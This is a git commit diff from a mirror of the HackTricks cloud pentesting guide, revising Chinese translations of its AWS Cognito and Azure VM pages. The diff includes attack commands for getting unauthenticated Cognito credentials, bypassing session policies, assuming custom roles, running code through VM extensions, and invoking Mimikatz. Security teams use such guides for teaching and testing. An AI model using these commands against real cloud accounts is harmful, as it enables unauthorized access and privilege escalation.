mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-
This commit is contained in:
Binary file not shown.
|
Before Width: | Height: | Size: 1.1 MiB After Width: | Height: | Size: 3.5 MiB |
@@ -4,12 +4,12 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
身份池通过使您的用户能够**获取临时凭证**,在其中发挥着至关重要的作用。这些凭证对于访问各种AWS服务至关重要,包括但不限于Amazon S3和DynamoDB。身份池的一个显著特点是它们支持匿名访客用户和多种身份提供者进行用户身份验证。支持的身份提供者包括:
|
||||
身份池在使用户能够**获取临时凭证**方面发挥着至关重要的作用。这些凭证对于访问各种AWS服务至关重要,包括但不限于Amazon S3和DynamoDB。身份池的一个显著特点是它们支持匿名访客用户以及多种身份提供者进行用户身份验证。支持的身份提供者包括:
|
||||
|
||||
- Amazon Cognito 用户池
|
||||
- Amazon Cognito用户池
|
||||
- 社交登录选项,如Facebook、Google、使用Amazon登录和使用Apple登录
|
||||
- 符合OpenID Connect (OIDC)的提供者
|
||||
- SAML (安全声明标记语言) 身份提供者
|
||||
- SAML (安全声明标记语言)身份提供者
|
||||
- 开发者认证身份
|
||||
```python
|
||||
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
|
||||
@@ -35,21 +35,21 @@ print(response)
|
||||
```
|
||||
### Cognito Sync
|
||||
|
||||
要生成身份池会话,您首先需要**生成身份 ID**。这个身份 ID 是**该用户会话的标识**。这些标识最多可以有 20 个数据集,可以存储最多 1MB 的键值对。
|
||||
要生成身份池会话,您首先需要**生成身份 ID**。这个身份 ID 是**该用户会话的标识**。这些标识可以有多达 20 个数据集,最多可以存储 1MB 的键值对。
|
||||
|
||||
这对于**保持用户信息**(将始终使用相同的身份 ID)是**有用的**。
|
||||
这对于**保持用户信息**是**有用的**(用户将始终使用相同的身份 ID)。
|
||||
|
||||
此外,服务**cognito-sync**是允许**管理和同步这些信息**(在数据集中,发送流和 SNS 消息等)的服务。
|
||||
此外,服务**cognito-sync**是允许**管理和同步这些信息**的服务(在数据集中,发送信息到流和 SNS 消息...)。
|
||||
|
||||
### Tools for pentesting
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括“cognito\_\_enum”和“cognito\_\_attack”模块,这些模块自动枚举帐户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,并且还自动创建用户(包括 MFA 支持)和基于可修改自定义属性的特权升级、可用的身份池凭证、可假设的角色在 ID 令牌中等。
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括“cognito\_\_enum”和“cognito\_\_attack”模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。
|
||||
|
||||
有关模块功能的描述,请参见[博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)的第 2 部分。有关安装说明,请参见主[Pacu](https://github.com/RhinoSecurityLabs/pacu)页面。
|
||||
有关模块功能的描述,请参见[博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)的第 2 部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。
|
||||
|
||||
#### Usage
|
||||
|
||||
示例 cognito\_\_attack 用法,尝试在给定身份池和用户池客户端上创建用户和所有特权升级向量:
|
||||
示例 cognito\_\_attack 用法,尝试在给定身份池和用户池客户端上创建用户和所有权限提升向量:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
@@ -59,7 +59,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括不必要的账户创建和身份池升级。
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 实现的 CLI 工具,执行对 Cognito 的不同攻击,包括不必要的账户创建和身份池升级。
|
||||
|
||||
#### 安装
|
||||
```bash
|
||||
@@ -75,12 +75,12 @@ $ cognito-scanner --help
|
||||
|
||||
### 未认证
|
||||
|
||||
攻击者需要知道的唯一信息是 **在 Cognito 应用中获取 AWS 凭证** 的 **身份池 ID**,并且此 **ID 必须硬编码** 在 web/mobile **应用程序** 中以供使用。ID 看起来像这样:`eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(无法通过暴力破解)。
|
||||
攻击者需要知道的唯一信息是 **在 Cognito 应用中获取 AWS 凭证** 的 **身份池 ID**,并且此 **ID 必须硬编码** 在 web/mobile **应用程序** 中以供使用。ID 看起来像这样:`eu-west-1:098e5341-8364-038d-16de-1865e435da3b`(无法通过暴力破解获得)。
|
||||
|
||||
> [!TIP]
|
||||
> 默认情况下,通过创建的 **IAM Cognito 未认证角色** 被称为 `Cognito_<Identity Pool name>Unauth_Role`
|
||||
> 默认情况下,通过创建的 **IAM Cognito 未认证角色称为** `Cognito_<Identity Pool name>Unauth_Role`
|
||||
|
||||
如果您发现硬编码的身份池 ID 并且它允许未认证用户,您可以通过以下方式获取 AWS 凭证:
|
||||
如果您发现一个硬编码的身份池 ID 并且它允许未认证用户,您可以通过以下方式获取 AWS 凭证:
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
|
||||
|
||||
### 增强与基本身份验证流程
|
||||
|
||||
上一部分遵循了 **默认增强身份验证流程**。此流程为生成的 IAM 角色会话设置了 **限制性** [**会话策略**](../../aws-basic-information/#session-policies)。该策略仅允许会话 [**使用此列表中的服务**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)(即使该角色可以访问其他服务)。
|
||||
上一部分遵循了 **默认增强身份验证流程**。此流程为生成的 IAM 角色会话设置了 **限制性** [**会话策略**](../../aws-basic-information/index.html#session-policies)。该策略仅允许会话 [**使用此列表中的服务**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)(即使该角色可以访问其他服务)。
|
||||
|
||||
然而,如果 **身份池启用了“基本(经典)流程”**,则有一种方法可以绕过此限制,用户将能够使用该流程获取会话,而该会话 **将没有该限制性会话策略**。
|
||||
然而,如果 **身份池启用了“基本(经典)流程”**,则有一种方法可以绕过此限制,用户将能够使用该流程获取会话,而该会话 **将没有限制性会话策略**。
|
||||
```bash
|
||||
# Get auth ID
|
||||
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
|
||||
@@ -133,9 +133,9 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
|
||||
> [!WARNING]
|
||||
> 如果您收到此 **错误**,则是因为 **基本流程未启用(默认)**
|
||||
|
||||
> `发生错误(InvalidParameterException),调用 GetOpenIdToken 操作时:基本(经典)流程未启用,请使用增强流程。`
|
||||
> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
|
||||
|
||||
拥有一组 IAM 凭证后,您应该检查 [您拥有的访问权限](../../#whoami) 并尝试 [提升权限](../../aws-privilege-escalation/)。
|
||||
拥有一组 IAM 凭证后,您应该检查 [您拥有的访问权限](../../index.html#whoami) 并尝试 [提升权限](../../aws-privilege-escalation/index.html)。
|
||||
|
||||
### 已认证
|
||||
|
||||
@@ -144,32 +144,32 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
|
||||
|
||||
对于 **访问身份池的已认证用户**,可能还有 **角色** 可用。
|
||||
|
||||
为此,您可能需要访问 **身份提供者**。如果是 **Cognito 用户池**,也许您可以利用默认行为 **自己创建一个新用户**。
|
||||
为此,您可能需要访问 **身份提供者**。如果这是 **Cognito 用户池**,也许您可以利用默认行为 **自己创建一个新用户**。
|
||||
|
||||
> [!TIP]
|
||||
> 通过 **IAM Cognito 认证角色创建的角色** 默认称为 `Cognito_<Identity Pool name>Auth_Role`
|
||||
|
||||
无论如何,**以下示例** 假设您已经登录到用于访问身份池的 **Cognito 用户池**(不要忘记,其他类型的身份提供者也可以被配置)。
|
||||
无论如何,**以下示例** 假设您已经在用于访问身份池的 **Cognito 用户池** 中登录(不要忘记,其他类型的身份提供者也可以被配置)。
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
|
||||
# 从上一个命令响应中获取 identity_id
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
|
||||
|
||||
# 在 IdToken 中,您可以找到用户因用户池组而拥有的角色
|
||||
# 使用 --custom-role-arn 获取特定角色的凭证
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
<strong> --custom-role-arn <role_arn> \
|
||||
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-id <identity_id> \
|
||||
<strong> --custom-role-arn <role_arn> \
|
||||
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
</code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> 可以 **根据用户登录的身份提供者** 配置不同的 IAM 角色,甚至仅仅根据 **用户**(使用声明)。因此,如果您可以通过相同或不同的提供者访问不同的用户,可能 **值得登录并访问他们的所有 IAM 角色**。
|
||||
> 可以 **根据用户登录的身份提供者** 配置不同的 IAM 角色,甚至仅仅根据 **用户**(使用声明)。因此,如果您通过相同或不同的提供者访问不同的用户,可能 **值得登录并访问他们的所有 IAM 角色**。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,16 +20,16 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
|
||||
- **安全类型**:
|
||||
- **标准安全**:这是默认的安全类型,不需要任何特定配置。
|
||||
- **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
|
||||
- **机密虚拟机**:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **机密虚拟机**:在受信任启动的基础上,它提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离,改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
|
||||
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置为使用 **密码。**
|
||||
- **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。
|
||||
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
|
||||
- **NIC 网络安全组**:
|
||||
- **无**:基本上打开每个端口
|
||||
- **无**:基本上打开所有端口
|
||||
- **基本**:允许轻松打开入站端口 HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
|
||||
- **高级**:选择一个安全组
|
||||
- **备份**:可以启用 **标准** 备份(每天一次)和 **增强**(每天多次)
|
||||
- **补丁编排选项**:这使得可以根据所选策略自动在 VMs 中应用补丁,如 [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) 中所述。
|
||||
- **补丁编排选项**:这使得可以根据所选策略自动在 VMs 中应用补丁,如 [**文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) 中所述。
|
||||
- **警报**:可以在 VM 中发生某些事件时自动通过电子邮件或移动应用程序获取警报。默认规则:
|
||||
- CPU 百分比大于 80%
|
||||
- 可用内存字节少于 1GB
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到次要位置。当主站点发生故障时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到次要位置。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## 元数据
|
||||
|
||||
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
|
||||
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息,所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时,VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确的通信。
|
||||
|
||||
此外,要联系元数据端点,HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
|
||||
|
||||
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
### 虚拟机扩展
|
||||
|
||||
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VMs) 上。
|
||||
Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。
|
||||
|
||||
这将允许 **在虚拟机内部执行任意代码**。
|
||||
|
||||
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**:
|
||||
这是一个属于微软的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### 用户数据
|
||||
|
||||
这是**持久数据**,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为**如果您在这里放置脚本,默认情况下不会执行**。
|
||||
这是**持久数据**,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为**如果您在这里放置脚本,它不会默认执行**。
|
||||
|
||||
### 自定义数据
|
||||
|
||||
@@ -793,10 +793,10 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
## 未经身份验证的访问
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## 利用后
|
||||
## 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
|
||||
Reference in New Issue
Block a user